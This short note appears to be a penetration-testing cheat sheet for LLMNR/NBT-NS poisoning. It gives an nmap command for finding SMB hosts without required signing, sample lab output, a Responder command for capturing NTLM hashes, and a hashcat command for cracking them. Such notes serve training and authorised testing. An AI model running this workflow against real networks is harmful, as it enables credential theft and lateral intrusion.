## **LLMNR/NBT-NS Poisoning**

## Scanning for vulnerability

To initiate scan for smb vuln:

```
nmap --script=smb2-security-mode.nse [TARGET IP ADDRESS]
```

In case host is vulnerable you will see this:

```
Nmap scan report for 192.168.10.136
Host is up (0.00026s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:A9:4B:E6 (VMware)

Host script results:
| smb2-security-mode:
| 2.02:
| Message signing enabled but not required
```

Using responder start listening:

```
responder -I eth0 -rdwv
```

## Hash had been captured:

After you've captured the NTLM hash save it into the .txt file and use hashcat to crack it:

```
hashcat -m HASHTYPE FILEWHEREHASHISSAVED.TXT /usr/share/wordlists/rockyou.txt -- force
```

Hash type # can be found here.